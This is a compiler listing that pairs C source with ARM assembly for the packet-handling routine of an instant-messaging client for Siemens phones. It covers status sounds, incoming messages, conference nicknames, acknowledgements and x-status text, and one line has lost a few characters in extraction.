0A20A0E1 MOV R2,R10 \ 00000388 4010A0E3 MOV R1,#+64 \ 0000038C 1B0100EF SWI +283 4984 AddStringToLog(t,0x03,txt,"",0xFFFFFFFF, 0); \ 00000390 0000A0E3 MOV R0,#+0 \ 00000394 01002DE9 PUSH {R0} \ 00000398 AC3F8FE2 ADR R3,??ProcessPacket_29+0xC ;; "" \ 0000039C 0A20A0E1 MOV R2,R10 \ 000003A0 0310A0E3 MOV R1,#+3 \ 000003A4 0000E0E1 MVN R0,R0 \ 000003A8 01002DE9 PUSH {R0} \ 000003AC 0900A0E1 MOV R0,R9 \ 000003B0 ........ BL AddStringToLog 4985 ReqAddMsgToChat(t); \ 000003B4 0900A0E1 MOV R0,R9 \ 000003B8 ........ BL ReqAddMsgToChat 4986 RecountMenu(NULL, 0); \ 000003BC 0810A0E1 MOV R1,R8 \ 000003C0 0100A0E1 MOV R0,R1 \ 000003C4 ........ BL RecountMenu 4987 mfree(txt); \ 000003C8 0A00A0E1 MOV R0,R10 \ 000003CC 150000EF SWI +21 \ 000003D0 18D08DE2 ADD SP,SP,#+24 4988 } 4989 4990 if ((t->state!=0xFFFF)&&(i==0xFFFF))//Звук \ ??ProcessPacket_22: \ 000003D4 B405D9E1 LDRH R0,[R9, #+84] \ 000003D8 0B0050E1 CMP R0,R11 \ 000003DC 2A00000A BEQ ??ProcessPacket_39 \ 000003E0 00109DE5 LDR R1,[SP, #+0] \ 000003E4 0B0051E1 CMP R1,R11 \ 000003E8 2700001A BNE ??ProcessPacket_39 4991 { 4992 //#ifdef kluchnik 4993 if(Is_INC_On) \ 000003EC 540297E5 LDR R0,[R7, #+596] \ 000003F0 000050E3 CMP R0,#+0 \ 000003F4 0700000A BEQ ??ProcessPacket_40 4994 { 4995 INC_show2=20; \ 000003F8 1400A0E3 MOV R0,#+20 \ 000003FC A80287E5 STR R0,[R7, #+680] 4996 sprintf(onContact,">%s<",t->name); \ 00000400 142089E2 ADD R2,R9,#+20 \ 00000404 281085E2 ADD R1,R5,#+40 \ 00000408 8C0D80E3 ORR R0,R0,#0x2300 \ 0000040C 070080E0 ADD R0,R0,R7 \ 00000410 160000EF SWI +22 4997 show_on_contact(); \ 00000414 ........ BL show_on_contact 4998 } 4999 if(!t->isactive)//на всякий случай \ ??ProcessPacket_40: \ 00000418 980099E5 LDR R0,[R9, #+152] \ 0000041C 000050E3 CMP R0,#+0 5000 { 5001 t->isvibra=1; \ 00000420 5C608905 STREQ R6,[R9, #+92] 5002 t->issound=1; \ 00000424 60608905 STREQ R6,[R9, #+96] 5003 } 5004 //#endif 5005 /* if(isLogOnline) //by kluchnik 26.03.08 5006 { 5007 FreeXText2(t); 5008 TTime time; 5009 TDate date; 5010 GetDateTime(&date,&time); 5011 char *txt=malloc(64); 5012 sprintf(txt," Online: %02d:%02d:%02d %02d.%02d",time.hour,time.min,time.sec,date.month,date.day); 5013 5014 t->xtext2=malloc(64); 5015 snprintf(t->xtext2,64,txt); 5016 AddStringToLog(t,0x03,txt,x_status_change,0xFFFFFFFF, 0); 5017 ReqAddMsgToChat(t); 5018 RecountMenu(NULL, 0); 5019 mfree(txt); 5020 }*/ 5021 if(!extended_sounds) \ 00000428 1C0297E5 LDR R0,[R7, #+540] \ 0000042C 2C60A0E3 MOV R6,#+44 \ 00000430 B06E86E3 ORR R6,R6,#0xB00 \ 00000434 000050E3 CMP R0,#+0 5022 { 5023 Play(sndGlobal); \ 00000438 07008600 ADDEQ R0,R6,R7 \ 0000043C 1A00000A BEQ ??ProcessPacket_41 5024 } 5025 else 5026 { 5027 FSTATS stat; 5028 int fsize; 5029 unsigned int ul = 0; \ 00000440 14808DE5 STR R8,[SP, #+20] 5030 uins=t->uin; \ 00000444 0C0099E5 LDR R0,[R9, #+12] 5031 sprintf(talk_sound, "%s%d.wav", sndGlobal2, uins); \ 00000448 408E86E3 ORR R8,R6,#0x400 \ 0000044C 400287E5 STR R0,[R7, #+576] \ 00000450 0030A0E1 MOV R3,R0 \ 00000454 400086E3 ORR R0,R6,#0x40 \ 00000458 072080E0 ADD R2,R0,R7 \ 0000045C A01F85E2 ADD R1,R5,#+640 \ 00000460 070088E0 ADD R0,R8,R7 \ 00000464 160000EF SWI +22 5032 GetFileStats(talk_sound,&stat,&ul); \ 00000468 14208DE2 ADD R2,SP,#+20 \ 0000046C 4E1F8DE2 ADD R1,SP,#+312 \ 00000470 070088E0 ADD R0,R8,R7 \ 00000474 840000EF SWI +132 5033 fsize=stat.size; 5034 if(fsize>0) \ 00000478 3C019DE5 LDR R0,[SP, #+316] \ 0000047C 010050E3 CMP R0,#+1 \ 00000480 070086B0 ADDLT R0,R6,R7 5035 Play(talk_sound); \ 00000484 070088A0 ADDGE R0,R8,R7 \ 00000488 070000EA B ??ProcessPacket_41 5036 else 5037 Play(sndGlobal); 5038 } 5039 } 5040 5041 if ((i!=0xFFFF)&&(t->state==0xFFFF))//Звук \ ??ProcessPacket_39: \ 0000048C 00109DE5 LDR R1,[SP, #+0] \ 00000490 0B0051E1 CMP R1,R11 \ 00000494 0500000A BEQ ??ProcessPacket_42 \ 00000498 0B0050E1 CMP R0,R11 \ 0000049C 0300001A BNE ??ProcessPacket_42 5042 { 5043 Play(sndSrvMsg); \ 000004A0 EC00A0E3 MOV R0,#+236 \ 000004A4 A00E80E3 ORR R0,R0,#0xA00 \ 000004A8 070080E0 ADD R0,R0,R7 \ ??ProcessPacket_41: \ 000004AC ........ BL Play 5044 5045 //-------------------- Log offline ----------------------// 5046 5047 /* if(isLogOffline) // by kluchnik 26.03.08 5048 { 5049 FreeXText2(t); 5050 TTime time; 5051 TDate date; 5052 GetDateTime(&date,&time); 5053 char *txt=malloc(64); 5054 sprintf(txt," Offline: %02d:%02d:%02d %02d.%02d",time.hour,time.min,time.sec,date.month,date.day); 5055 5056 t->xtext2=malloc(64); 5057 snprintf(t->xtext2,64,txt); 5058 AddStringToLog(t,0x03,txt,x_status_change,0xFFFFFFFF, 0); 5059 ReqAddMsgToChat(t); 5060 // RecountMenu(t, 1); 5061 RecountMenu(NULL, 0); 5062 mfree(txt); 5063 }*/ 5064 } 5065 5066 //------------------------------------------------------------// 5067 5068 if(TIME_OR_MSG==2) \ ??ProcessPacket_42: \ 000004B0 3C0197E5 LDR R0,[R7, #+316] \ 000004B4 020050E3 CMP R0,#+2 \ 000004B8 0000001A BNE ??ProcessPacket_17 5069 Get_Online_total(); \ 000004BC ........ BL Get_Online_total 5070 } 5071 if (edchat_id) \ ??ProcessPacket_17: \ 000004C0 1C0397E5 LDR R0,[R7, #+796] \ 000004C4 000050E3 CMP R0,#+0 \ 000004C8 5401000A BEQ ??ProcessPacket_2 5072 { 5073 void *data=FindGUIbyId(edchat_id,NULL); \ 000004CC 1C0397E5 LDR R0,[R7, #+796] \ 000004D0 0010A0E3 MOV R1,#+0 \ 000004D4 090200EF SWI +521 5074 { 5075 EDCHAT_STRUCT *ed_struct; 5076 ed_struct=EDIT_GetUserPointer(data); \ 000004D8 DF0100EF SWI +479 5077 if (ed_struct) \ 000004DC 000050E3 CMP R0,#+0 \ 000004E0 4E01000A BEQ ??ProcessPacket_2 5078 { 5079 if (ed_struct->ed_contact==t) \ 000004E4 000090E5 LDR R0,[R0, #+0] \ 000004E8 090050E1 CMP R0,R9 \ 000004EC 4B01001A BNE ??ProcessPacket_2 5080 { 5081 DirectRedrawGUI_ID(edchat_id); \ 000004F0 1C0397E5 LDR R0,[R7, #+796] \ 000004F4 400100EF SWI +320 \ 000004F8 480100EA B ??ProcessPacket_2 5082 } 5083 } 5084 } 5085 } 5086 break; 5087 case T_RECVMSG: 5088 NEW_MSG=1; \ ??ProcessPacket_43: \ 000004FC B06387E5 STR R6,[R7, #+944] 5089 t=FindContactByUin(p->pkt.uin); \ 00000500 ........ _BLF FindContactByUin,??FindContactByUin??rA \ 00000504 0090B0E1 MOVS R9,R0 5090 if (!t) \ 00000508 0900001A BNE ??ProcessPacket_44 5091 { 5092 sprintf(s,percent_d,p->pkt.uin); \ 0000050C 002094E5 LDR R2,[R4, #+0] \ 00000510 231085E2 ADD R1,R5,#+35 \ 00000514 38008DE2 ADD R0,SP,#+56 \ 00000518 160000EF SWI +22 5093 t=AddContact(p->pkt.uin,s,GROUP_CACHE,0); \ 0000051C 142397E5 LDR R2,[R7, #+788] \ 00000520 000094E5 LDR R0,[R4, #+0] \ 00000524 0030A0E3 MOV R3,#+0 \ 00000528 38108DE2 ADD R1,SP,#+56 \ 0000052C ........ _BLF AddContact,??AddContact??rA \ 00000530 0090A0E1 MOV R9,R0 5094 } 5095 if(!t->isactive && HISTORY_BUFFER) GetHistory(t, 64<isactive)//на всякий случай \ ??ProcessPacket_45: \ 0000055C 980099E5 LDR R0,[R9, #+152] \ 00000560 000050E3 CMP R0,#+0 \ 00000564 0100001A BNE ??ProcessPacket_47 5097 { 5098 t->isvibra=1; \ ??ProcessPacket_46: \ 00000568 5C6089E5 STR R6,[R9, #+92] 5099 t->issound=1; \ 0000056C 606089E5 STR R6,[R9, #+96] 5100 } 5101 if(SHOW_ACTIVE) \ ??ProcessPacket_47: \ 00000570 780197E5 LDR R0,[R7, #+376] \ 00000574 000050E3 CMP R0,#+0 5102 t->isactive=ACTIVE_TIME; \ 00000578 5A0FA013 MOVNE R0,#+360 \ 0000057C 98008915 STRNE R0,[R9, #+152] 5103 // ChangeContactPos(t); 5104 //#ifdef kluchnik 5105 if(t->isvibra) \ 00000580 5C0099E5 LDR R0,[R9, #+92] \ 00000584 000050E3 CMP R0,#+0 \ 00000588 0500000A BEQ ??ProcessPacket_48 5106 { 5107 if(VIBR_TYPE) \ 0000058C 7C0197E5 LDR R0,[R7, #+380] \ 00000590 000050E3 CMP R0,#+0 5108 vibra_count=2; \ 00000594 0200A013 MOVNE R0,#+2 \ 00000598 D0028715 STRNE R0,[R7, #+720] 5109 else 5110 vibra_count=1; \ 0000059C D0628705 STREQ R6,[R7, #+720] 5111 start_vibra(); \ 000005A0 ........ BL start_vibra 5112 } 5113 //#else 5114 /* if(VIBR_TYPE) 5115 vibra_count=2; 5116 else 5117 vibra_count=1; 5118 start_vibra();*/ 5119 //#endif 5120 #ifdef ELKA 5121 if(SLI_TYPE) 5122 SLI_Timer(); \ ??ProcessPacket_48: \ 000005A4 ........ BL SLI_Timer 5123 #endif 5124 if(Is_Double_Vibra_On) \ 000005A8 5C0297E5 LDR R0,[R7, #+604] \ 000005AC 000050E3 CMP R0,#+0 \ 000005B0 0000000A BEQ ??ProcessPacket_49 5125 Reminder_timer(); \ 000005B4 ........ BL Reminder_timer 5126 if (Is_ILU_On) \ ??ProcessPacket_49: \ 000005B8 580297E5 LDR R0,[R7, #+600] \ 000005BC 000050E3 CMP R0,#+0 \ 000005C0 0400000A BEQ ??ProcessPacket_50 5127 IlluminationOn(ILL_DISP_RECV,ILL_KEYS_RECV,ILL_RECV_TMR,ILL_RECV_FADE); //Illumination by BoBa 19.04.2007 \ 000005C4 143297E5 LDR R3,[R7, #+532] \ 000005C8 002297E5 LDR R2,[R7, #+512] \ 000005CC FC1197E5 LDR R1,[R7, #+508] \ 000005D0 F80197E5 LDR R0,[R7, #+504] \ 000005D4 ........ BL IlluminationOn 5128 if (t->name[0]=='#') \ ??ProcessPacket_50: \ 000005D8 1400D9E5 LDRB R0,[R9, #+20] \ 000005DC 230050E3 CMP R0,#+35 \ 000005E0 1B00001A BNE ??ProcessPacket_51 5129 { 5130 //Если это конференция, патчим имя 5131 char *s=strchr(p->data,'>'); \ 000005E4 3E10A0E3 MOV R1,#+62 \ 000005E8 080084E2 ADD R0,R4,#+8 \ 000005EC 180000EF SWI +24 5132 //Если нашли символ > и после него пробел и ник короче 16 символов 5133 if (s) \ 000005F0 000050E3 CMP R0,#+0 \ 000005F4 1600000A BEQ ??ProcessPacket_51 5134 { 5135 if ((s[1]==' ')&&((s-p->data)<16)) \ 000005F8 0110D0E5 LDRB R1,[R0, #+1] \ 000005FC 200051E3 CMP R1,#+32 \ 00000600 1300001A BNE ??ProcessPacket_51 \ 00000604 081084E2 ADD R1,R4,#+8 \ 00000608 011040E0 SUB R1,R0,R1 \ 0000060C 100051E3 CMP R1,#+16 \ 00000610 0F0000AA BGE ??ProcessPacket_51 5136 { 5137 *s=0; //Режем строку \ 00000614 0080C0E5 STRB R8,[R0, #+0] 5138 AddStringToLog(t,0x02,s+2,p->data,0xFFFFFFFF,1); //Добавляем имя из текста сообщения \ 00000618 0110A0E3 MOV R1,#+1 \ 0000061C 02002DE9 PUSH {R1} \ 00000620 083084E2 ADD R3,R4,#+8 \ 00000624 022080E2 ADD R2,R0,#+2 \ 00000628 0900A0E1 MOV R0,R9 \ 0000062C 001061E2 RSB R1,R1,#+0 \ 00000630 02002DE9 PUSH {R1} \ 00000634 0210A0E3 MOV R1,#+2 \ 00000638 ........ BL AddStringToLog 5139 goto L1; \ 0000063C 08D08DE2 ADD SP,SP,#+8 \ 00000640 2D0000EA B ??ProcessPacket_52 \ ??ProcessPacket_29: \ 00000644 4E2F4100 DC8 "N/A" \ 00000648 444E4400 DC8 "DND" \ 0000064C 46464300 DC8 "FFC" \ 00000650 00000000 DC8 "",+0,+0,+0 5140 } 5141 } 5142 } 5143 5144 //=================== tas bus jautri ===================// 5145 5146 comanda=1; \ ??ProcessPacket_51: \ 00000654 B86387E5 STR R6,[R7, #+952] 5147 // if(UIN!=t->uin) 5148 CheckComand(p->data, t); \ 00000658 0910A0E1 MOV R1,R9 \ 0000065C 080084E2 ADD R0,R4,#+8 \ 00000660 ........ BL CheckComand 5149 if(comanda==1) \ 00000664 B80397E5 LDR R0,[R7, #+952] \ 00000668 010050E3 CMP R0,#+1 \ 0000066C 2200001A BNE ??ProcessPacket_52 5150 { 5151 AddStringToLog(t,0x02,p->data,t->name,0xFFFFFFFF,1); \ 00000670 01002DE9 PUSH {R0} \ 00000674 143089E2 ADD R3,R9,#+20 \ 00000678 082084E2 ADD R2,R4,#+8 \ 0000067C 0210A0E3 MOV R1,#+2 \ 00000680 000066E2 RSB R0,R6,#+0 \ 00000684 01002DE9 PUSH {R0} \ 00000688 0900A0E1 MOV R0,R9 \ 0000068C ........ BL AddStringToLog 5152 main_count++; \ 00000690 ........ LDR R0,??DataTable97 ;; main_count \ 00000694 001090E5 LDR R1,[R0, #+0] \ 00000698 011081E2 ADD R1,R1,#+1 \ 0000069C 001080E5 STR R1,[R0, #+0] 5153 if(Is_INC_On) \ 000006A0 540297E5 LDR R0,[R7, #+596] \ 000006A4 08D08DE2 ADD SP,SP,#+8 \ 000006A8 000050E3 CMP R0,#+0 \ 000006AC 0C00000A BEQ ??ProcessPacket_53 5154 { 5155 strcpy(show_nick, t->name); \ 000006B0 141089E2 ADD R1,R9,#+20 \ 000006B4 C800A0E3 MOV R0,#+200 \ 000006B8 A00D80E3 ORR R0,R0,#0x2800 \ 000006BC 070080E0 ADD R0,R0,R7 \ 000006C0 1A0000EF SWI +26 5156 if(!IsIdleUiOnTop()&&(!saver_on)) \ 000006C4 C50000EF SWI +197 \ 000006C8 000050E3 CMP R0,#+0 \ 000006CC 44029705 LDREQ R0,[R7, #+580] \ 000006D0 00005003 CMPEQ R0,#+0 \ 000006D4 0200001A BNE ??ProcessPacket_53 5157 { 5158 //int csm_oncreate_addr = ((int*)(((CSM_RAM*)(CSM_root()->csm_q->csm.last))->constr))[1] - 1; 5159 // char java_oncreate_pattern[8] = {0xB0, 0xB5, 0x04, 0x1C, 0x00, 0x25, 0x05, 0x61}; 5160 // if (memcmp((void*)csm_oncreate_addr, java_oncreate_pattern, 8)) 5161 // { 5162 INC_show=15; \ 000006D8 0F00A0E3 MOV R0,#+15 \ 000006DC BC0387E5 STR R0,[R7, #+956] 5163 show_pp_sender(); \ 000006E0 ........ BL show_pp_sender 5164 //} 5165 } 5166 } 5167 if(Is_SMARTCPU_On) \ ??ProcessPacket_53: \ 000006E4 500297E5 LDR R0,[R7, #+592] \ 000006E8 000050E3 CMP R0,#+0 \ 000006EC 0200000A BEQ ??ProcessPacket_52 5168 AddToMain(t->name,p->data); \ 000006F0 081084E2 ADD R1,R4,#+8 \ 000006F4 140089E2 ADD R0,R9,#+20 \ 000006F8 ........ BL AddToMain 5169 } 5170 // if((Is_SMARTCPU_On)&&(comanda==1)) 5171 // AddToMain(t->name,p->data); 5172 L1: 5173 //Разворачиваем группу, в которой пришло сообщение 5174 { 5175 CLIST *g=FindGroupByID(t->group); \ ??ProcessPacket_52: \ 000006FC 100099E5 LDR R0,[R9, #+16] \ 00000700 ........ _BLF FindGroupByID,??FindGroupByID??rA 5176 if (g) \ 00000704 000050E3 CMP R0,#+0 5177 { 5178 if (g->state) \ 00000708 B415D011 LDRHNE R1,[R0, #+84] \ 0000070C 00005113 CMPNE R1,#+0 5179 { 5180 g->state=0; \ 00000710 B485C011 STRHNE R8,[R0, #+84] 5181 } 5182 } 5183 } 5184 // if(comanda==1) 5185 // { 5186 ReqAddMsgToChat(t); \ 00000714 0900A0E1 MOV R0,R9 \ 00000718 ........ BL ReqAddMsgToChat 5187 RecountMenu(t,1); \ 0000071C 0110A0E3 MOV R1,#+1 \ 00000720 0900A0E1 MOV R0,R9 \ 00000724 ........ BL RecountMenu 5188 5189 switch (DEVELOP_IF) \ 00000728 800197E5 LDR R0,[R7, #+384] \ 0000072C 000050E3 CMP R0,#+0 \ 00000730 0400000A BEQ ??ProcessPacket_54 \ 00000734 010050E2 SUBS R0,R0,#+1 \ 00000738 0B00000A BEQ ??ProcessPacket_55 \ 0000073C 020050E2 SUBS R0,R0,#+2 \ 00000740 1300000A BEQ ??ProcessPacket_56 \ 00000744 B50000EA B ??ProcessPacket_2 5190 { 5191 case 0: 5192 #ifdef EVILFOX 5193 if ((((CSM_RAM *)(CSM_root()->csm_q->csm.last))->id!=maincsm_id)) GBS_StartTimerProc(&develop, 216*2, to_develop); 5194 #else 5195 if ((((CSM_RAM *)(CSM_root()->csm_q->csm.last))->id!=maincsm_id)) to_develop(); \ ??ProcessPacket_54: \ 00000748 068100EF SWI +33030 \ 0000074C 080090E5 LDR R0,[R0, #+8] \ 00000750 641297E5 LDR R1,[R7, #+612] \ 00000754 0C0090E5 LDR R0,[R0, #+12] \ 00000758 0C0090E5 LDR R0,[R0, #+12] \ 0000075C 010050E1 CMP R0,R1 \ ??ProcessPacket_57: \ 00000760 AE00000A BEQ ??ProcessPacket_2 \ 00000764 ........ BL to_develop \ 00000768 AC0000EA B ??ProcessPacket_2 5196 #endif 5197 break; 5198 case 1: 5199 #ifdef EVILFOX 5200 if ((((CSM_RAM *)(CSM_root()->csm_q->csm.last))->id!=maincsm_id)&&(IsUnlocked())) GBS_StartTimerProc(&develop, 216*2, to_develop); 5201 #else 5202 if ((((CSM_RAM *)(CSM_root()->csm_q->csm.last))->id!=maincsm_id)&&(IsUnlocked())) to_develop(); \ ??ProcessPacket_55: \ 0000076C 068100EF SWI +33030 \ 00000770 080090E5 LDR R0,[R0, #+8] \ 00000774 641297E5 LDR R1,[R7, #+612] \ 00000778 0C0090E5 LDR R0,[R0, #+12] \ 0000077C 0C0090E5 LDR R0,[R0, #+12] \ 00000780 010050E1 CMP R0,R1 \ 00000784 A500000A BEQ ??ProcessPacket_2 \ 00000788 430000EF SWI +67 \ 0000078C 000050E3 CMP R0,#+0 \ 00000790 F2FFFFEA B ??ProcessPacket_57 5203 #endif 5204 break; 5205 case 2: 5206 break; 5207 case 3: 5208 GBS_DelTimer(&develop); \ ??ProcessPacket_56: \ 00000794 9D0D87E2 ADD R0,R7,#+10048 \ 00000798 8C0100EF SWI +396 5209 if ((((CSM_RAM *)(CSM_root()->csm_q->csm.last))->id!=maincsm_id)&&(!IsUnlocked())) begin_to_develop(); \ 0000079C 068100EF SWI +33030 \ 000007A0 080090E5 LDR R0,[R0, #+8] \ 000007A4 641297E5 LDR R1,[R7, #+612] \ 000007A8 0C0090E5 LDR R0,[R0, #+12] \ 000007AC 0C0090E5 LDR R0,[R0, #+12] \ 000007B0 010050E1 CMP R0,R1 \ 000007B4 9900000A BEQ ??ProcessPacket_2 \ 000007B8 430000EF SWI +67 \ 000007BC 000050E3 CMP R0,#+0 \ 000007C0 9600001A BNE ??ProcessPacket_2 \ 000007C4 ........ BL begin_to_develop \ 000007C8 940000EA B ??ProcessPacket_2 5210 break; 5211 } 5212 // } 5213 break; 5214 case T_SRV_ACK: 5215 case T_CLIENT_ACK: 5216 q=FindContactLOGQByAck(p); \ ??ProcessPacket_58: \ 000007CC 0400A0E1 MOV R0,R4 \ 000007D0 ........ BL FindContactLOGQByAck 5217 /* if (q&&(p->pkt.type==T_SRV_ACK)) 5218 { 5219 if (Is_ILU_On) 5220 IlluminationOn(ILL_DISP_SEND,ILL_KEYS_SEND,ILL_SEND_TMR,ILL_RECV_FADE); 5221 }//Illumination by BoBa 19.04.2007 */ 5222 /* if (( 5223 IsGuiOnTop(contactlist_menu_id)|| 5224 IsGuiOnTop(edchat_id) 5225 )&&(q)) 5226 { 5227 DrawRoundedFrame(ScreenW()-8,YDISP,ScreenW()-1,YDISP+7,0,0,0, 5228 GetPaletteAdrByColorIndex(0), 5229 GetPaletteAdrByColorIndex(p->pkt.type==T_SRV_ACK?3:4)); 5230 }*/ 5231 if (q) \ 000007D4 000050E3 CMP R0,#+0 \ 000007D8 9000000A BEQ ??ProcessPacket_2 5232 { 5233 q->acked=p->pkt.type==T_SRV_ACK?1:2; \ 000007DC B410D4E1 LDRH R1,[R4, #+4] \ 000007E0 100051E3 CMP R1,#+16 \ 000007E4 0110A003 MOVEQ R1,#+1 \ 000007E8 0210A013 MOVNE R1,#+2 \ 000007EC 041080E5 STR R1,[R0, #+4] 5234 t=FindContactByUin(p->pkt.uin); \ 000007F0 000094E5 LDR R0,[R4, #+0] \ 000007F4 ........ _BLF FindContactByUin,??FindContactByUin??rA \ 000007F8 0090A0E1 MOV R9,R0 5235 if (edchat_id) \ 000007FC 1C0397E5 LDR R0,[R7, #+796] \ 00000800 000050E3 CMP R0,#+0 \ 00000804 8500000A BEQ ??ProcessPacket_2 5236 { 5237 void *data=FindGUIbyId(edchat_id,NULL); \ 00000808 1C0397E5 LDR R0,[R7, #+796] \ 0000080C 0010A0E3 MOV R1,#+0 \ 00000810 090200EF SWI +521 \ 00000814 0050B0E1 MOVS R5,R0 5238 if (data) \ 00000818 8000000A BEQ ??ProcessPacket_2 5239 { 5240 EDCHAT_STRUCT *ed_struct; 5241 ed_struct=EDIT_GetUserPointer(data); \ 0000081C DF0100EF SWI +479 5242 if (ed_struct) \ 00000820 000050E3 CMP R0,#+0 \ 00000824 7D00000A BEQ ??ProcessPacket_2 5243 { 5244 if (ed_struct->ed_contact==t) \ 00000828 000090E5 LDR R0,[R0, #+0] \ 0000082C 090050E1 CMP R0,R9 \ 00000830 7A00001A BNE ??ProcessPacket_2 5245 { 5246 if (EDIT_IsBusy(data)) \ 00000834 0500A0E1 MOV R0,R5 \ 00000838 1C0200EF SWI +540 \ 0000083C 000050E3 CMP R0,#+0 \ 00000840 0300000A BEQ ??ProcessPacket_59 5247 { 5248 t->req_drawack=1; \ 00000844 886089E5 STR R6,[R9, #+136] 5249 #ifdef EVILFOX 5250 time_to_stop_t9=2; 5251 #else 5252 time_to_stop_t9=3; \ 00000848 0300A0E3 MOV R0,#+3 \ 0000084C B40387E5 STR R0,[R7, #+948] \ 00000850 720000EA B ??ProcessPacket_2 5253 #endif 5254 } 5255 else { 5256 DrawAck(data); \ ??ProcessPacket_59: \ 00000854 0500A0E1 MOV R0,R5 \ 00000858 ........ BL DrawAck 5257 if (p->pkt.type==T_SRV_ACK) \ 0000085C B400D4E1 LDRH R0,[R4, #+4] \ 00000860 100050E3 CMP R0,#+16 \ 00000864 6D00001A BNE ??ProcessPacket_2 5258 IlluminationOn(ILL_DISP_SEND,ILL_KEYS_SEND,ILL_SEND_TMR,ILL_RECV_FADE); //Illumination by BoBa 19.04.2007 \ 00000868 143297E5 LDR R3,[R7, #+532] \ 0000086C 0C2297E5 LDR R2,[R7, #+524] \ 00000870 081297E5 LDR R1,[R7, #+520] \ 00000874 040297E5 LDR R0,[R7, #+516] \ 00000878 ........ BL IlluminationOn \ 0000087C 670000EA B ??ProcessPacket_2 5259 } 5260 } 5261 } 5262 } 5263 } 5264 } 5265 break; 5266 case T_XTEXT_ACK: 5267 t=FindContactByUin(p->pkt.uin); \ ??ProcessPacket_60: \ 00000880 ........ _BLF FindContactByUin,??FindContactByUin??rA \ 00000884 0090B0E1 MOVS R9,R0 5268 if (t) \ 00000888 6400000A BEQ ??ProcessPacket_2 5269 { 5270 int i; 5271 int j; 5272 FreeXText(t); \ 0000088C ........ _BLF FreeXText,??FreeXText??rA 5273 i=p->pkt.data_len; \ 00000890 B660D4E1 LDRH R6,[R4, #+6] 5274 memcpy(t->xtext=malloc(i),p->data,i); \ 00000894 0600A0E1 MOV R0,R6 \ 00000898 140000EF SWI +20 \ 0000089C A00089E5 STR R0,[R9, #+160] \ 000008A0 0620A0E1 MOV R2,R6 \ 000008A4 081084E2 ADD R1,R4,#+8 \ 000008A8 1E0100EF SWI +286 5275 zeromem(s,256); \ 000008AC 401FA0E3 MOV R1,#+256 \ 000008B0 38008DE2 ADD R0,SP,#+56 \ 000008B4 1D0100EF SWI +285 5276 strcpy(s,t->name); \ 000008B8 141089E2 ADD R1,R9,#+20 \ 000008BC 38008DE2 ADD R0,SP,#+56 \ 000008C0 1A0000EF SWI +26 5277 strcat(s,":\n"); \ 000008C4 591F8FE2 ADR R1,??ProcessPacket_61 ;; ":\n" \ 000008C8 38008DE2 ADD R0,SP,#+56 \ 000008CC 170000EF SWI +23 5278 i=strlen(s); \ 000008D0 38008DE2 ADD R0,SP,#+56 \ 000008D4 1B0000EF SWI +27 5279 j=p->data[0]; \ 000008D8 0860D4E5 LDRB R6,[R4, #+8] \ 000008DC 0070A0E1 MOV R7,R0 5280 if (j>(255-i)) j=255-i; \ 000008E0 FF0067E2 RSB R0,R7,#+255 \ 000008E4 060050E1 CMP R0,R6 \ 000008E8 0060A0B1 MOVLT R6,R0 5281 strncpy(s+i,p->data+1,j); \ 000008EC 0620A0E1 MOV R2,R6 \ 000008F0 091084E2 ADD R1,R4,#+9 \ 000008F4 38008DE2 ADD R0,SP,#+56 \ 000008F8 000087E0 ADD R0,R7,R0 \ 000008FC 160100EF SWI +278 5282 i+=j; \ 00000900 070086E0 ADD R0,R6,R7 5283 if (i<255) \ 00000904 FF0050E3 CMP R0,#+255 \ 00000908 100000AA BGE ??ProcessPacket_62 5284 { 5285 s[i]='\n'; \ 0000090C 38108DE2 ADD R1,SP,#+56 \ 00000910 0A20A0E3 MOV R2,#+10 \ 00000914 0120C0E7 STRB R2,[R0, +R1] 5286 i++; \ 00000918 0810D4E5 LDRB R1,[R4, #+8] \ 0000091C B620D4E1 LDRH R2,[R4, #+6] \ 00000920 010080E2 ADD R0,R0,#+1 5287 j=p->pkt.data_len-p->data[0]-1; 5288 if (j>(255-i)) j=255-i; 5289 strncpy(s+i,p->data+p->data[0]+1,j); \ 00000924 38308DE2 ADD R3,SP,#+56 \ 00000928 012042E0 SUB R2,R2,R1 \ 0000092C 016042E2 SUB R6,R2,#+1 \ 00000930 FF2060E2 RSB R2,R0,#+255 \ 00000934 060052E1 CMP R2,R6 \ 00000938 0260A0B1 MOVLT R6,R2 \ 0000093C 0620A0E1 MOV R2,R6 \ 00000940 041081E0 ADD R1,R1,R4 \ 00000944 091081E2 ADD R1,R1,#+9 \ 00000948 030080E0 ADD R0,R0,R3 \ 0000094C 160100EF SWI +278 5290 } 5291 // if (IsGuiOnTop(contactlist_menu_id)) RefreshGUI(); 5292 //if (!edchat_id && // Только если редактор не наверху 5293 // strlen(p->data)) // и x-status не пустой 5294 // ShowMSG(0,(int)s); 5295 5296 /* 5297 #ifdef EVILFOX 5298 #else 5299 if (!edchat_id) ShowMSG(0,(int)s); // Только если редактор не наверху 5300 #endif 5301 */ 5302 zeromem(s,256); \ ??ProcessPacket_62: \ 00000950 401FA0E3 MOV R1,#+256 \ 00000954 38008DE2 ADD R0,SP,#+56 \ 00000958 1D0100EF SWI +285 5303 i=0; 5304 j=p->data[0]; \ 0000095C 0860D4E5 LDRB R6,[R4, #+8] 5305 if (j>(255-i)) j=255-i; 5306 strncpy(s,p->data+1,j); \ 00000960 091084E2 ADD R1,R4,#+9 \ 00000964 38008DE2 ADD R0,SP,#+56 \ 00000968 400F56E3 CMP R6,#+256 \ 0000096C FF60A0A3 MOVGE R6,#+255 \ 00000970 0620A0E1 MOV R2,R6 \ 00000974 160100EF SWI +278 5307 i+=j; 5308 if (i<255) \ 00000978 FF0056E3 CMP R6,#+255 \ 0000097C 100000AA BGE ??ProcessPacket_63 5309 { 5310 s[i++]=13; \ 00000980 38108DE2 ADD R1,SP,#+56 \ 00000984 0D20A0E3 MOV R2,#+13 \ 00000988 0120C6E7 STRB R2,[R6, +R1] \ 0000098C 0810D4E5 LDRB R1,[R4, #+8] \ 00000990 B620D4E1 LDRH R2,[R4, #+6] \ 00000994 010086E2 ADD R0,R6,#+1 5311 j=p->pkt.data_len-p->data[0]-1; 5312 if (j>(255-i)) j=255-i; 5313 strncpy(s+i,p->data+p->data[0]+1,j); \ 00000998 38308DE2 ADD R3,SP,#+56 \ 0000099C 012042E0 SUB R2,R2,R1 \ 000009A0 016042E2 SUB R6,R2,#+1 \ 000009A4 FF2060E2 RSB R2,R0,#+255 \ 000009A8 060052E1 CMP R2,R6 \ 000009AC 0260A0B1 MOVLT R6,R2 \ 000009B0 0620A0E1 MOV R2,R6 \ 000009B4 041081E0 ADD R1,R1,R4 \ 000009B8 091081E2 ADD R1,R1,#+9 \ 000009BC 030080E0 ADD R0,R0,R3 \ 